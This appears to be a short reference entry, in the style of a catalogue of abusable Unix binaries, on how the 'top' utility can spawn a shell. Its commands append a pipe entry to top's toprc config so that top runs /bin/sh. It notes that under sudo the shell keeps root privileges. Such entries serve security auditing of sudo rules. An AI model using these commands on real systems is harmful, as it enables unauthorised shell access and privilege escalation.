Shell

This executable can spawn an interactive system shell.
  1. CommentThe config path might be different.
    This function can be performed by any unprivileged user.
    echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
    top
    # press return twice
    reset
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
    top
    # press return twice
    reset